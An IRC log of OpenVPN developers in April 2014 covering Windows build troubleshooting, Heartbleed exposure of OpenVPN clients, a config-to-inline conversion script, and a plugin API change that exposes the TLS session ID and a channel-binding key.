hello, can anyone help me generate the configure scripts and Makefile for openvpn checked out with git? 04:04 <@cron2_> autoreconf -vif 04:04 <@cron2_> done 04:04 <@cron2_> then run configure 04:05 < wrenny> I use a VPN at home to connect to the net for basic privacy. With bleedingheart thing is there anything I have to do on my end or just wait for the VPN company to fix it? 04:06 <@cron2_> if you use a vulnerable windows version (2.3.2-I001 to I003) -> upgrade. Then wait for your VPN provider to reissue your certificates 04:07 < wrenny> how is that re-issue done 04:07 <@cron2_> ask your VPN provider - if you use a vulnerable version, someone might have stolen your keys, and can now pretend to be you 04:08 < _bt> cron2_: thanks, i've tried that and am getting undefined macro errors (AC_LIBTOOL_WIN32_DLL, AC_LIBTOOL_RC, AC_PROG_LIBTOOL) 04:09 < _bt> helps if i install libtool eh :) 04:09 <@cron2_> yeah :-) 04:09 < wrenny> Is it a mistake to try to login to my bank site today or soon? 04:09 <@cron2_> mattock mentioned something like that 04:10 <@cron2_> wrenny: can't say. Not *all* SSL sites are vulnerable, and some even fixed it on Tuesday already. 04:16 < wrenny> according to my VPN they fixed it within 4 hours of knowing 04:17 < wrenny> said clients dont have to do anything 04:17 < wrenny> hopefully 04:18 < wrenny> i did however install the latest openvpn here, don't know if I needed to 04:18 <@cron2_> yes, you needed to 04:18 <@cron2_> if you were using a windows version of 2.3.x (which is what we've offered for the last 3 years) 04:18 < wrenny> hm why they didnt ask us to upgrade openvpn then 04:19 <@cron2_> Maybe they do not consider "stolen client credentials" a risk - it really depends on what they are offering 04:19 <@cron2_> if it's just for anonymous surfing, the risk is limited 04:19 <@cron2_> if it's for accessing corporate data over VPN, the risk is high 04:20 < wrenny> this is their bloig: https://www.privateinternetaccess.com/blog/2014/04/heartbleed-post-mortem/ 04:20 <@vpnHelper> Title: Heartbleed: Post Mortem | Privacy Online News (at www.privateinternetaccess.com) 04:21 < wrenny> From what I understand LastPass was never really vunerable either 04:21 < wrenny> ? 04:22 <@cron2_> what is "LastPass"? 04:22 < wrenny> password manager 04:22 < wrenny> .com 04:23 <@cron2_> no idea, but if they happened to use an older openssl version, they have been lucky... 04:23 < wrenny> well all the client data is kept seperate and encrypted 04:24 < wrenny> this weekend I'm changing all my passwords anywayz 04:25 < wrenny> NSA probably knew of this exploit since 2 yrs ago 04:26 < wrenny> wonder if Snoden had anything to do with exposing the flaw 04:35 <@cron2_> *sigh* 04:35 <@cron2_> forced my users to upgrade, now they are having problems with netsh.exe and ipv6 04:40 <@plaisthos> wenn: In terms of our keys, the original researcher who discovered Heartbleed, Neel Mehta, says that private keys are safe, and we agree with his conclusion. 04:40 <@plaisthos> that is wrong unfortunatly 04:41 <@plaisthos> wrenny: https://twitter.com/1njected/status/453797877672706048 04:41 <@vpnHelper> Title: Twitter / 1njected: @neelmehta @tqbf @_miw FreeBSD ... (at twitter.com) 04:41 <@cron2_> in the twitter discussion you find other people that have indeed recovered apache server keys 04:41 <@cron2_> it might be that openvpn is indeed save (because we happen to be lucky as far as our memory layout goes) 04:44 < _bt> ok got a bit further with my windows build of the latest git but it's failing on snappy headers not being found, although they are installed - any ideas? 04:48 < _bt> Snappy library not found. 04:48 < _bt> checking snappy-c.h usability... no 04:48 < _bt> checking snappy-c.h presence... no 04:48 < _bt> checking for snappy-c.h... no 04:48 < _bt> Snappy headers not found. 04:48 < _bt> /usr/include/snappy-c.h < exists :z 04:54 <@cron2_> --disable-snappy 04:54 <@cron2_> for a windows build, you need it in the mingw cross-build environment, not in the regular /usr/include/ 04:54 <@cron2_> (and snappy on windows isn't really supported yet, as it requires libstdc++, which we don't pack because it's huuuuge) 04:55 < _bt> okay, 04:56 < _bt> i'll get that tried 05:12 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Quit: ZNC - http://znc.in] 05:16 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:23 < wrenny> plaisthos why 05:35 <@plaisthos> wrenny: ?! 05:36 < _bt> cron2_: disabled snappy, got past that issue, failing now on : socket.c:3134:45: error: ‘struct link_socket_addr’ has no member named ‘local’ 05:36 < _bt> int addrlen = af_addr_size(sock->info.lsa->local.addr.sa.sa_family); :( 05:40 * cron2_ points at plaisthos 05:40 <@cron2_> (and at mattock: we need a windows buildslsave!) 05:43 < _bt> openvpn-build does need updating in git 05:44 <@plaisthos> cron2_: :( 05:45 <@plaisthos> that is a windows build error right? 05:45 <@plaisthos> _bt: what tool are you using to build? 05:45 < _bt> i'm using openvpn-build 05:46 < _bt> and have updated the vars to use newer pkcs11-helper (1,11) and latest openvpn git 05:47 < _bt> plus an openssl 1.0.1g patch to fix building on perl 5.18 05:48 <@plaisthos> oh 05:48 <@plaisthos> that seems to be a lot of steps to setup :/ 05:49 < _bt> its not too bad once set up, all im really trying to do is compile openvpn.exe from git to check if dual stack changes fix crashes i am seeing 05:53 <@plaisthos> that addrlen line is very suspicious 05:54 <@plaisthos> I am have no idea why the code even checks that 05:57 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has joined #openvpn-devel 05:58 < _bt> is that deffo a bug in latest git then? 06:00 < _bt> plaisthos: http://pastebin.com/N2RT9rKz < bit more output there 06:12 <@cron2_> plaisthos: I assume that the sockaddr structure on windows doesn't have it... 06:33 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has quit [Ping timeout: 255 seconds] 06:33 * cron2_ wonders why d12fk didn't catch that. Maybe he just didn't rebase to "master" recently... 07:11 <@d12fk> caught it nad discussed with plaisthos, but we didn't come to a conclusion about whether or not the code made sense at all 07:11 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has joined #openvpn-devel 07:11 <@d12fk> iirc we currently just comment it out 07:12 <@d12fk> [Thu. 10.04.2014 12:54] <plaisthos> I am have no idea why the code even checks that 07:12 <@d12fk> ^^^ that 07:13 <@cron2_> [X] send patch, please :-) 07:15 <@d12fk> my heart is bleeding currently, won't be able to do anything atm 07:16 * cron2_ sends a box of chocolate 07:22 <@ecrist> cron2_: with 2.3.3, I thought I'd see IV_GUI_VER as an environment varioable available to client-connect scrips 07:22 <@ecrist> I'm not seeing it 07:26 <@dazo> ecrist: on the server side, I believe cron2_ said 2.4/master 07:27 <@ecrist> awww 07:30 <@mattock> cron2: we have a windows build test already 07:30 <@mattock> I will have to verify that it still works, though 07:31 <@mattock> but it runs openvpn-build periodically and emails me if the build fails 07:31 <@mattock> an all-out buildslave would not be very useful, as none of the commands would be the same as for *NIX buildslaves 07:32 <@mattock> finally: a successful debian build based on 2.3.3 07:32 <@mattock> lots of different things needed to be fixed to make the build work 07:33 <@mattock> _bt: regarding openvpn-build - it should "just work" if you you follow the instructions in Trac (https://community.openvpn.net) 07:33 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 07:33 <@mattock> build.vars is probably somewhat outdated 07:34 <@mattock> although I have not tried to build from Git in a long time, so that could be broken 07:39 <+krzee> wrenny, your questions belong in #openvpn by the way 07:41 <@cron2_> ecrist: "something is not working right", I am not seeing IV_GUI_VER from my 2.3.3 users either 07:42 <@cron2_> mattock: why was building on debian so hard? 07:42 <@cron2_> mattock: and: please add me to the build output from the windows build test, so we'll notice more quickly if plaisthos and I break windows :) 07:51 < _bt> mattock: yes, i've successfully built before, but with latest git it fails 08:13 <+krzee> break windows, i see what you did there 08:19 -!- _bt [~bt@unaffiliated/bt/x-192343] has left #openvpn-devel ["Leaving"] 08:19 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 08:43 < _bt> ok commented that out and it built successfully 08:56 < _bt> Thu Apr 10 14:51:41 2014 Assertion failed at socket.c:778 09:20 <@plaisthos> okay. Windows is like SOlaris :) 09:21 <@cron2_> plaisthos: "you break it, I get to fix it"? ;-) 09:21 <@cron2_> ah 09:21 <@cron2_> that one 09:21 <@cron2_> that patch which is not in git master yet 09:21 <@cron2_> gimme 5 min 09:21 <@cron2_> and tell me whether you're ok with my proposal :) 09:22 <@plaisthos> cron2_: yes I am okay with that 09:23 <@plaisthos> (also send that via email) 09:26 <@cron2_> uh, should checkout master before trying to apply 09:29 <@cron2_> _bt: pushed, please re-fetch master 09:29 < _bt> shall do 09:30 < _bt> done, retesting 09:31 <@vpnHelper> RSS Update - gitrepo: Work around Solaris getaddrinfo() returing ai_protocol=0 <https://github.com/OpenVPN/openvpn/commit/891636cb397e02d6e283da7e1926a5ca6cd11b02> 09:32 <@cron2_> that's the one :-) (if it fixes Windows right away, the time spent hacking on Solaris wasn't fully wasted... way easier than rebuilding windows binaries all the time!) 09:32 < _bt> just building it now 09:34 < _bt> although shouldn't socket.c have other fixes for "int addrlen = af_addr_size(sock->info.lsa->local.addr.sa.sa_family);" 09:34 <@cron2_> no 09:35 <@cron2_> this is only for the assert() bug 09:35 <@d12fk> interesting https://www.cs.utexas.edu/~shmat/shmat_oak14.pdf 09:35 <@cron2_> well, "issue" - it's not abug, but getaddrinfo() on Solaris and Windows behaves differently 09:35 < _bt> ok, well its still failing to build for windows due to that other issue 09:35 < _bt> int addrlen = af_addr_size(sock->info.lsa->local.addr.sa.sa_family); 09:35 < _bt> if (sock->reads.addr_defined && sock->reads.addrlen != addrlen) 09:35 < _bt> bad_address_length (sock->reads.addrlen, addrlen); 09:35 <@d12fk> Using Frankencerts for Automated Adversarial Testing of Certificate Validation in SSL/TLS Implementations 09:36 < _bt> is commenting out the if block the correct solution here? 09:36 <@cron2_> _bt: yes, that's to be fixed "next" - the other one I had already debugged last week, but not committed yet 09:36 < _bt> gotya 09:36 < _bt> i shall do that 09:36 <@cron2_> try commenting it out for the time being 09:37 <@plaisthos> _bt: comment it out for now 09:37 < _bt> commented out those 3 lines i pasted above, rebuilding, and i will test and let you know how things go 09:37 <@plaisthos> great 09:38 <@plaisthos> I will need to get a windows build host going :/ 09:39 <@cron2_> yeah, me too 10:00 < _bt> okay so its built correctly :) 10:00 < _bt> the original issue i had was crashing after issuing a signal when in certain states - this unfortunately is still happening 10:13 <@cron2_> _bt: pity. So we need to get that fixed... 10:13 <@cron2_> mattock, btw, if you receive buildbot failure mails, this is because I've been messing with the openvpn test server while buildbot was testing 10:15 <@plaisthos> btw (german): http://www.heise.de/newsticker/meldung/OpenVPN-schliesst-Heartbleed-Sicherheitsluecke-auf-Windows-Installationen-2167844.html 10:16 <@vpnHelper> Title: OpenVPN schließt Heartbleed-Sicherheitslücke auf Windows-Installationen | heise online (at www.heise.de) 10:19 < _bt> as far as i can see, the problem starts here " if ((flags & GET_USER_PASS_NOFATAL) != 0) as part of function "get_user_pass_cr" in misc.c 10:20 < _bt> can i work round this issue by setting GET_USER_PASS_NOFATAL somewhere? 10:21 <@cron2_> plaisthos: wheeh :-) 10:25 <@cron2_> plaisthos: any news on Android? 10:26 <@plaisthos> cron2_: I am still trying to figure if this an issue or non issue on Android 10:27 <@plaisthos> it basically boils down to "are there non nexus devices with 4.1.1" 10:27 <@cron2_> I thought 4.4 is the problematic version? 10:27 <@plaisthos> no 10:29 <@plaisthos> only Android 4.1 and Android 4.1.1 have a openssl 1.0.1 version *without* -DOPENSSL_NO_HEARTBEATS 10:29 <@cron2_> aaah! that is great news 10:29 <@plaisthos> !heartbleed 10:29 <@plaisthos> cron2_: we have that on our wiki page 10:29 <@plaisthos> https://community.openvpn.net/openvpn/wiki/heartbleed 10:29 <@vpnHelper> Title: heartbleed – OpenVPN Community (at community.openvpn.net) 10:38 <@plaisthos> _bt: No idea about NON_FATAL. I would have to look on the code myself 10:43 < _bt> plaisthos: i've worked round the issue by changing the error type to INFO rather than FATAL. no more crashing. the only thing that remains here now is that after a SIGUSR1, "management-hold" in the config file is not respected 10:46 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds] 10:47 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:48 < _bt> although man page "The hold flag setting is persistent and will not 10:48 < _bt> be reset by restarts." - guess i'll have to work round that myself. 10:50 < _bt> thanks for all your help chaps! 10:54 <@d12fk> re heise article, what's the new GUI version they are talking about? 10:56 <@cron2_> no idea 10:56 <@cron2_> (and I still haven't tested why I'm not seeing IV_GUI_VER on my servers :-/ ) 11:00 <@plaisthos> cron2_: git://git.code.sf.net/p/openvpn-gui/code openvpn-gui-code 11:00 <@plaisthos> has no commit which sets IV_GUI 11:01 <@cron2_> huh, I thought d12fk did that just before samuli built 2.3.3 11:01 <@cron2_> in that case, it's easy to see why it is not showing up :) 11:01 <@cron2_> anyway. afk now, musical tickets tonight! and kids at grandparents'!! 11:01 <@plaisthos> cron2_: have fun 11:01 <@cron2_> \o/ 11:07 * d12fk just gave mattock a preview version, which had the old version number still and was statically linked to ossl 1.0.1c 11:07 <@d12fk> hope he didn't package that one =) 11:08 <@d12fk> however 1.0.1c is just about libcrypto, so no vuln here, but still 11:21 <@plaisthos> http://pbs.twimg.com/media/Bk0DY8XCEAAPpS7.png:large 11:22 <@d12fk> that's from the pdf i posted above, interesting read 11:27 <@d12fk> zmap in use again 11:32 <@dazo> plaisthos: so that basically means ... no one has been able to write a proper SSL library? ;-) 11:33 <@dazo> (and OpenSSL, NSS and OpenJDK are the ones who are behaving most correctly) 11:51 <@plaisthos> d12fk: oh did not know 11:52 <@mattock> d12fk: what preview version are we talking about? 11:54 <@d12fk> the exe you dled 11:56 <@mattock> openvpn-build pulls the sources, so I had to just wrap together a source package based on latest openvpn-gui Git 11:56 <@mattock> it doesn't understand binaries (something I forgot yet again) 11:57 <@d12fk> ah you don't use official release tarballs 11:57 <@d12fk> that's fine then, but the version info stuff is not in there yet 11:58 <@d12fk> so how do you version the gui then? have a own versioning scheme? 12:39 <@syzzer> d12fk: interesting read indeed. PolarSSL will get rid of most of its bold statements soon fortunately :) 13:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:39 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 13:39 -!- mattock_afk is now known as mattock 13:40 -!- mattock is now known as mattock_afk 14:33 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has left #openvpn-devel [] 15:48 -!- wrenny2 [~AndChat54@md32636d0.tmodns.net] has quit [Ping timeout: 240 seconds] 16:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:38 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 240 seconds] 16:47 <@cron2_> syzzer: but that will be in 1.4, which will be incompatible with anything prior, no? 16:48 <@syzzer> cron2_: Some of them 16:49 <@syzzer> 'certificate not yet valid' is already fixed in 1.3.5, for example 18:32 -!- dazo is now known as dazo_afk --- Day changed Fri Apr 11 2014 00:54 -!- mattock_afk is now known as mattock 01:29 <@cron2_> mornin' 02:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:20 -!- wrenny [~mee@162.253.128.58] has quit [Ping timeout: 252 seconds] 03:40 <@plaisthos> cron2_: moin 04:18 -!- mattock is now known as mattock_afk 04:27 -!- mattock_afk is now known as mattock 05:04 <@cron2_> mattock: how difficult is it for you if I give you a patch to build a windows installer based on "2.3.3+patch"? 05:05 <@cron2_> is that "real work" or "way easy" 05:07 <@mattock> cron2: if you apply the patch to the sources, run "autoreconf -vi" and package the results in a tarball building the thing is trivial 05:07 <@mattock> unless the patch causes the build to fail, of course 05:07 <@cron2_> so the build system wants a tarball? 05:07 <@mattock> yep 05:08 <@cron2_> ok. (I do have a build environment "somewhere" that I used for windows tests for James, let's see if I can find it - otherwise I'll come back and ask you for help) 05:09 <@mattock> sounds good 05:25 <@mattock> uh, writing a script to convert "normal" openvpn config files into inline format took longer than expected 05:25 <@mattock> still, it seems to work ok: https://github.com/mattock/mkinline 05:25 <@vpnHelper> Title: mattock/mkinline · GitHub (at github.com) 05:32 <@cron2_> mattock: you can inline tls-auth? woot! 05:32 <@mattock> yes 05:32 <@plaisthos> cron2_: yes 05:32 <@cron2_> btw, you might want to check INPUT/OUTPUT *before* the "grep -v ... $INPUT > $OUTPUT" bit :-) 05:32 <@mattock> ah, why bother :P 05:33 * cron2_ wonders why he never rolled out tls-auth, and how to get from "I have a working OpenVPN setup with actual users on it, but with no tls-auth" to "now we have tls-auth" 05:33 <@plaisthos> mattock: your script will fail with --ca file 05:34 <@cron2_> haha, yes, the intricacies of our config parser 05:34 <@mattock> cron2: fixed the checks 05:34 <@mattock> too much moving stuff around 05:35 <@mattock> plaisthos: can you elaborate? 05:35 <@plaisthos> and you miss the tls-auth file.foo 1 case 05:35 <@plaisthos> which translates to <tls-auth>...</tls-auth> 05:35 <@plaisthos> key-direction 1 05:35 <@mattock> hmm, have to check those 05:35 <@plaisthos> mattock: you can prefix any option in an openvpn config with -- 05:36 <@mattock> oh, how cool is that? :D 05:36 <@plaisthos> the parser will just skip the -- 05:36 <@plaisthos> cron2_: you can also inline pkcs12 :) 05:36 <@mattock> the double-dash thing I need to fix 05:36 <@mattock> anyways, consider this a first alpha 05:36 <@mattock> tested it on my configs and it worked mostly ok 05:36 <@mattock> some oddities 05:37 <@plaisthos> mattock: I am just pointing out thing I learned from my config parsing :) 05:37 <@mattock> thanks! 05:37 <@plaisthos> at least you don't have to deal with --<ca> >D 05:37 <@mattock> uh, that would be odd 05:37 <@plaisthos> mattock: have you check stuff like ca "foo bar baz" 05:38 <@mattock> no 05:38 <@mattock> the parser will probably fail miserably if the format of the options is not 05:38 <@mattock> option some_path_without_spaces 05:38 <@plaisthos> and you could also embed secret 05:38 <@mattock> you mean credentials? 05:38 <@plaisthos> mattock: no --secret 05:39 <@plaisthos> OpenVPN allows including files in the main configuration for the --ca, 05:39 <@plaisthos> --cert, --dh, --extra-certs, --key, --pkcs12, --secret and --tls-auth 05:39 <@plaisthos> options. 05:39 <@plaisthos> :D 05:41 <@plaisthos> mattock: I ended up implementing the same parsing logic that OpenVPN itself uses in my parser 05:41 <@mattock> I'll check that 05:42 <@plaisthos> what else ... 05:42 <@plaisthos> oh yeah there are strange inline configs in the wild 05:42 <@plaisthos> ca [inline] 05:42 <@plaisthos> key [inline] 05:42 <@plaisthos> tls-auth [inline] 1 05:42 <@mattock> ouch 05:42 <@plaisthos> <ca> ... </ca> 05:42 <@plaisthos> <key> ... </key> 05:42 <@mattock> I apparently opened a can of worms :) 05:42 <@plaisthos> <tls-auth> ... </tls-auth> 05:42 <@mattock> now lunch 05:42 <@plaisthos> mattock: :D 05:43 <@mattock> not the worms for lunch, though :D 05:43 <@plaisthos> mattock: I did two years ago 05:43 <@plaisthos> :) 05:43 <@mattock> I may have to draw the line somewhere regarding the odd configuration styles 05:48 <@plaisthos> mattock: yes sure 05:48 <@plaisthos> mattock: I am just pointing out a few thing you could look at 05:49 <@plaisthos> Obviously your script doesn't need the "works with almost all configs" which my parser needs 06:11 <@plaisthos> as a bonus most options ignore superflous arguments 06:11 <@plaisthos> ca foo.pem this is a comment 06:11 <@plaisthos> :) 06:12 <@plaisthos> and for bonus++ see setenv opt in 2.3+ 06:17 <@cron2_> haha 06:22 -!- dazo_afk is now known as dazo 06:28 <@plaisthos> and as bonus oddity what also works is 06:28 <@plaisthos> pkcs12 base64codedstring 06:28 <@plaisthos> err wrong 06:28 <@plaisthos> pkcs12 [inline] base64codedstring 06:29 <@plaisthos> because the parser will put [inline] as p[1] and p[2] as the file content 06:46 <@plaisthos> now I need a non 4.4 Android device to test my apk with openssl :/ 06:56 <+krzee> i should have something here, 1 min let me boot it and see 06:58 <+krzee> i have a device running 4.1.2 handy 06:58 <@plaisthos> krzee: wait. There something else wrong with my openssl 1.0.1g 06:58 <+krzee> my old phone 06:59 <+krzee> if i disappear, i'll be back 3 hours from now; i have a girl coming over but she starts work in 3 hours and then i'll be free for 8 hours until another girl gets off work (its my day off, and im a slut) 06:59 <+krzee> haha 08:29 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 08:30 < n13l> syzzer: hey, are u here ? 08:33 < n13l> syzzer: maybe there's somethin i missed. but it seems that plugin interface missing information related to TLS peer (TLS session id should be enough) 08:34 < n13l> syzzer: there's only openvpn_x509_cert_t member with ability to identify selected TLS channel and/or vpn "connection" 08:36 <@dazo> n13l: I'm going to extend the plug-in API with some kind of session ID ... for the kerb auth support ... to support channel binding 08:37 < n13l> dazo: ahh channel binding is exactly what im tryin to do :) but related to keying material exporters (KME) 08:37 <@dazo> openvpn_x509_cert_t is just the client certificate object 08:38 < n13l> dazo: yeye btw. i think that peer cert should always accessible for both sides ( so u can extend authentication for both end points ) 08:38 <@dazo> n13l: I discussed channel binding with simo, and he said having the TLS based session ID would be enough 08:38 < n13l> dazo: exactly 08:39 < n13l> dazo: should i prepare that patch ? :-) tls session id is exactly what im missing for my plugin 08:39 <@dazo> sure, I'll review it :) 08:39 < n13l> dazo: btw if u interrest there's a link: https://github.com/n13l/aaa-sec 08:39 <@vpnHelper> Title: n13l/aaa-sec · GitHub (at github.com) 08:40 < n13l> workiing spec here: https://github.com/n13l/aaa-sec/blob/master/doc/tls 08:40 <@vpnHelper> Title: aaa-sec/doc/tls at master · n13l/aaa-sec · GitHub (at github.com) 08:40 < n13l> openvpn plugin under dev: https://github.com/n13l/aaa-sec/tree/master/src/aaa/net/vpn/openvpn 08:40 <@vpnHelper> Title: aaa-sec/src/aaa/net/vpn/openvpn at master · n13l/aaa-sec · GitHub (at github.com) 08:41 < n13l> dazo: give me few hours and i will be back with the patch :) 08:41 <@dazo> perfect! 08:42 < n13l> dazo: and btw i interest so much in authentication for upper layers. example i did allready TLS side channel authentication for HTTP(s) on TLS layer 08:43 < n13l> HTTP(s) derive authentication from TLS. so: no cookies, session and other state information on app layer (HTTP) 08:43 < n13l> dazo: would like to later code similar staff on top of vpn 08:44 < n13l> brb goin for the patch 08:45 <@dazo> n13l: yeah, I remember simo told me briefly about some work such an approach at devconf (where we agreed I should look at krb auth over the a openvpn connection directly) ... I just need to get this annoying kernel errata out, and I'll deep dive into this again :) 09:08 <@mattock> plaisthos: re: boni: it seems our config parser is both wicked and ingenious 09:17 < n13l> dazo: what you think. it's better to extend that plugin structure with session id or pass it as an instance-wide environment variable set ? 09:17 < n13l> dazo: it's a null terminated string so instance-wide environment variable should be enough without extending plugin interface structure 09:17 < reators> :w 09:18 < _bt> im using "tls-auth [inline] 0" and "<tls-auth>blah blah</tls-auth>" << is that not the correct method? 09:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:40 <@dazo> n13l: I'd vote for extending the structure 09:40 <@dazo> _bt: that can be right, if the other side uses the same key material and 1 instead of 0 in the tls-auth line 09:43 < _bt> yeah - works okay - but noticed it mentioned above 09:55 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 09:55 < n13l> dazo: ok :) ok extending structure with original tls session (array of bytes) + size member instead of hex encoded NULL term. string. 09:56 <@dazo> makese sense :) 09:56 <@dazo> feel free to pastebin an early draft if you want an early feedback 09:57 < n13l> dazo: i will move soon to home from office but expect code today 09:57 <@dazo> cool! 10:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:04 <+krzee> 253 users in #openvpn, and all it took was a vuln lol 11:05 <@dazo> heh 11:34 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:18 <@d12fk> i wouldn't call it _a_ vuln, I'd call it _the_ vuln to rules them all =) 12:20 <@cron2> yeah. 12:21 * cron2 watches yet another juniper/netscreen reboot due to $someone probing it for heartbleed 12:21 <@cron2> *that* is pissing me off... 12:21 <@d12fk> they reboot? 12:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 12:38 <@cron2> yes 12:39 <@cron2> they are "not vulnerable" to the heartbleed aspects of this whole mess, but instead, some of the scanning scripts just scare them, and so they reboot 12:39 <@ecrist> hahahah 12:40 <@ecrist> our Fortinets don't have that "feature" 12:40 <@cron2> so what do they do? 12:40 <@ecrist> they don't seem vulnerable 12:40 <@cron2> that is better 12:43 <@ecrist> the fillippo.io site test doesn't return anything (timeout) for a direct connection to the fortinet, but those are blocked (no mgmt from the internet) 12:51 <@cron2> unblock them, otherwise where's the fun? 12:53 <@dazo> btw ... I modified the python script fox-it pointed at for testing for heartbleed so it can check SMTP servers with starttls ... if anyone is interested 12:54 <@dazo> (it's a crude change and can behave stupid, but it works) 13:00 * cron2 isn't sure if he should ask for something that can test OpenVPN, or "better not have that in the first place"... 13:04 <@dazo> cron2: I was thinking about it ... but then realised how much more work it would mean ... to write a test client doing the openvpn wire protocol .... :) 13:05 <@cron2> "just hack it into our test vehicle that already speaks the openvpn wire protocol" :) 13:06 <@dazo> ahh :) where's that test vehicle again? ;-) 13:07 <@cron2> git://git.code.sf.net/p/openvpn/openvpn-testing 13:07 <@dazo> hehehe 13:11 < n13l> dazo: looking inside plugin_open_item() and openvpn_plugin_args_open_in args is initialised there. TLS session id is set in one ssl cb to struct tls_session 13:11 < n13l> dazo: there's only *envp argument passed inside plugin_open_item() so i need to pass new attribute here or modify plugin_open_item() signature 13:12 < n13l> dazo: btw can show you some modification with pastebin now 13:13 <@dazo> n13l: I think you need to look at the openvpn_plugin_function part ... as plugin_open_*() is only called when loading the plug-in, but you basically want to reveal the session ID for each client, which would typically be available around the tls verify or auth-user-pass code paths, which uses the openvpn_plugin_function_*() hook together with one of the operation flags 13:13 < n13l> openvpn_x509_cert_t is also passed as an additional parameter to plugin_call_item() hm 13:14 <@dazo> plugin_call_item() is called later than plugin_open_item() ... iirc 13:14 < n13l> dazo: right i switched talk to plugin_call_item() :) 13:14 <@dazo> ahh :) 13:14 <@dazo> okay, then you're on the right place 13:14 * dazo grabs the code 13:15 < n13l> dazo: so extending function signature ? (maybe it's better to pass ptr to tls_sessuib structure) 13:15 < n13l> dazo: i mean ptr to struct tls_session 13:16 <@dazo> n13l: it's tempting, indeed ... but do we really want to expose all that info to all plugins? 13:17 < n13l> dazo: well but i thinkin about other params like binding key next to tls session id 13:17 < n13l> dazo: it's maybe better to pass to tls context instead of modify plugin signatures 13:18 < n13l> dazo: here's key code for accesing tls session in case of openssl: http://pastebin.com/MumeemM0 13:18 * dazo looks 13:18 < n13l> dazo: i catched handshake instead of that ssl_verify because it's independent of cert validation 13:19 <@dazo> right, that makes sense 13:19 < n13l> also working on that binding key 13:19 < n13l> when i finish we can separate that into 2 patches (im open) 13:19 * dazo is slightly confused 13:19 <@dazo> SSL_get_ex_data() 13:20 <@dazo> what does that really return? 13:20 <@dazo> arbitrary struct which is owned by openvpn? 13:20 < n13l> it's user context associated to SSL object 13:20 < n13l> yy 13:20 < n13l> it's tls_session 13:20 <@dazo> yeah, that's what I saw ... which surprised me a bit :) 13:20 < n13l> there's single SSL_set_ex_data() in the code 13:21 <@dazo> okay, in that perspective, it makes sense to pass over tls_session 13:21 < n13l> dazo: btw i just looking where tls_session is freed ( i want to free that new attribute explicitly allocated with gc_malloc() ) 13:22 <@dazo> gc_malloc() is somewhat odd to work with ... as it has it's own garbage "collector" when you free the gc_arena pointer 13:22 <@dazo> so anything you've allocated against a gc_arena object using gc_malloc(), will be freed when you free that gc_arena object 13:23 <@dazo> if you try to free it yourself, using free(), you'll get funny double free errors 13:24 < n13l> i extended plugin interface like this: http://pastebin.com/ddt3JCS7 13:25 < n13l> btw openssl provide allready call for that Keying Material Exporter -> SSL_export_keying_material 13:25 <@dazo> hmmmm 13:25 < n13l> dazo: but i saw similar function tls1_PRF in code allready and i working on similar call (independed of crypto layer) 13:25 < n13l> because everything is allready there 13:25 < n13l> goint to paste bin again 13:28 <@dazo> tls_sess->sess_id = (uint8_t *)gc_malloc(size, false, NULL); 13:28 < n13l> dazo: yy i know i specified NULL in gc_malloc()'s arena because i cant see arena asociated with tls_session 13:28 <@dazo> oh, you pass NULL 13:28 <@dazo> I noticed too late :) 13:29 < n13l> here is signature for that RFC[5705] Keying Material Exporter : http://pastebin.com/hDBn7Nw7 13:30 < n13l> signature is very similar to tls1_PRF() which is next to this new function in ./src/openvpn/ssl.c 13:30 <@dazo> that looks fine 13:31 < n13l> dazo: as i said. client_random, server_random and master_secret is allready there 13:31 <@dazo> syzzer: if you're around ... another pair of eyeballs here would be good :) 13:32 < n13l> dazo: it think it's better to compute that independetly of openssl/solar if there's similar call allready (but it depends. im open):) 13:32 <@dazo> that's why I'm asking syzzer to eyeball this a little bit ... as he knows polarssl far better, and also knows more about the ssl stuff in general :) 13:33 <@dazo> (we've tried to call him our SSL guru, but he seems reluctant to accept that title :)) 13:33 < n13l> :-) 13:34 <@dazo> now when I see the plug-in struct changes, how you've extended info_callback() and what you're doing with tls1_binding_key() ... it makes quite sense to me 13:34 < n13l> well i added tls session id and binding key to plugin struct (i think it's better to extend struct once then twice) :) 13:34 <@dazo> :) 13:35 <@dazo> Agreed! I like these changes 13:35 < n13l> but im prepared to make 2 patches instead of one if anyone prefer that 13:35 < n13l> btw with tls session and binding key ready for plugins 13:35 <@dazo> I'm willing to see tls session_id and binding_key as very related things 13:35 < n13l> anyone can extend these TLS authentication extension 13:36 < n13l> and even without trusted certificate you can detect and avoid these MITM attack 13:36 <@dazo> nice 13:36 < n13l> client can create for example QRCODE based on binding key 13:36 < n13l> authenticate these crypto derivates client <-> server in secured confidental channel (for example on smartphone) 13:37 < n13l> if derivates are different then there's someone in the miidle since start of keyin agrement 